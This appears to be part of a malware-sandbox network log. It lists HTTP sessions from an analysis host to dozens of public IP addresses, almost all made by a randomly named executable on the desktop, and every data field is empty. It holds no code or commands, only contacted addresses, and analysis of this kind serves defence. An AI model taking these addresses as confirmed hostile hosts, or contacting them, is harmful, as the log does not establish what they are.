Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.4	60355	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.4	60159	191.6.210.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.4	60494	104.200.30.31	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.4	60297	35.214.252.247	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.4	60017	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.4	60290	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
293	192.168.2.4	60485	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
294	192.168.2.4	60161	120.88.73.238	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
295	192.168.2.4	60618	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
296	192.168.2.4	60435	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
297	192.168.2.4	60436	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
298	192.168.2.4	60518	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
299	192.168.2.4	60649	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
300	192.168.2.4	60607	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
301	192.168.2.4	60743	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
302	192.168.2.4	60771	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
303	192.168.2.4	60736	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
304	192.168.2.4	60604	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
305	192.168.2.4	60547	117.20.63.148	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
306	192.168.2.4	60687	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
307	192.168.2.4	60825	191.252.51.5	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
308	192.168.2.4	60639	164.52.221.51	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
309	192.168.2.4	61491	92.62.143.50	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
310	192.168.2.4	61637	76.223.105.230	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
311	192.168.2.4	61721	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
312	192.168.2.4	61739	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
313	192.168.2.4	61756	192.124.249.13	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
314	192.168.2.4	61735	68.168.209.252	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
315	192.168.2.4	61751	172.96.186.206	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
316	192.168.2.4	61623	103.224.212.226	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
317	192.168.2.4	61824	76.223.26.96	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.4	61798	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.4	61901	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.4	61655	104.247.74.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
321	192.168.2.4	61899	3.94.41.167	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.4	61878	13.32.208.27	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.4	61908	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.4	61922	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.4	61632	109.168.109.224	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.4	61852	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.4	61754	35.214.252.247	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.4	61905	104.21.63.202	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.4	61760	185.183.156.218	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.4	61907	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.4	61941	35.237.190.156	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.4	61758	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.4	61757	18.229.0.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.4	61876	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.4	61823	81.169.145.157	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.4	61875	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.4	61879	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.4	61923	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.4	61792	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.4	61791	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
341	192.168.2.4	61645	66.81.203.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
342	192.168.2.4	61611	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
343	192.168.2.4	61652	178.32.41.233	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
344	192.168.2.4	61634	13.234.155.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
345	192.168.2.4	61793	191.6.210.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
346	192.168.2.4	61759	13.234.155.54	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
347	192.168.2.4	61933	202.226.37.158	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
348	192.168.2.4	61939	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
349	192.168.2.4	61945	117.20.63.148	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.4	61829	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.4	62068	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.4	62069	159.203.32.4	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.4	62077	185.230.63.171	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.4	62114	185.230.63.107	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.4	62151	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.4	62176	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
357	192.168.2.4	62188	3.94.41.167	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
358	192.168.2.4	62167	162.250.126.5	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
359	192.168.2.4	62178	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
360	192.168.2.4	62164	104.26.12.245	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
361	192.168.2.4	62196	72.167.58.161	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
362	192.168.2.4	62356	162.241.62.220	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
363	192.168.2.4	62161	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
364	192.168.2.4	62182	15.236.29.106	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
365	192.168.2.4	62177	99.81.150.60	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
366	192.168.2.4	62208	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
367	192.168.2.4	62183	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
368	192.168.2.4	62211	81.19.159.64	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
369	192.168.2.4	62168	213.0.13.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
370	192.168.2.4	62179	194.47.252.115	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
371	192.168.2.4	62297	139.162.169.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.4	62295	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.4	62150	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
374	192.168.2.4	62482	13.32.208.27	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
375	192.168.2.4	62481	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.4	62484	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port
377	192.168.2.4	62483	68.168.209.252	80

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.4	62486	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.4	62191	164.52.221.51	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.4	62520	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.4	62660	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.4	62696	104.200.30.31	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.4	62804	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
384	192.168.2.4	62830	47.246.24.211	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
385	192.168.2.4	62836	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.4	62911	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.4	62913	192.124.249.13	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.4	62705	66.81.203.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.4	62912	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.4	62832	172.67.132.45	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.4	62914	68.168.209.252	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.4	62917	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.4	62946	76.223.105.230	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.4	62952	52.206.191.232	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.4	62747	81.169.145.74	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.4	62945	192.96.211.44	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.4	62842	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.4	62967	144.202.62.131	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.4	62837	185.135.132.105	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.4	62845	35.164.64.246	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.4	62940	34.136.104.255	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.4	63073	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.4	63114	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.4	62929	74.220.219.189	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.4	62916	95.168.220.210	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.4	62941	89.31.143.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.4	62982	199.34.228.177	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.4	63155	54.83.33.36	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.4	62968	34.208.26.152	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.4	62926	133.130.97.143	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.4	62835	13.234.155.54	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.4	62901	3.111.240.6	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.4	62900	148.66.138.193	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.4	62903	117.20.63.148	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.4	63484	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.4	63483	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.4	63488	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
418	192.168.2.4	63489	68.168.209.252	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
419	192.168.2.4	63411	91.195.240.34	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
420	192.168.2.4	63477	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
421	192.168.2.4	63559	15.235.14.141	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
422	192.168.2.4	63473	15.197.142.173	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
423	192.168.2.4	63472	3.94.41.167	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
424	192.168.2.4	63580	66.235.200.147	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
425	192.168.2.4	63530	66.81.203.8	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
426	192.168.2.4	63729	185.230.63.186	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
427	192.168.2.4	63582	23.185.0.1	80	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
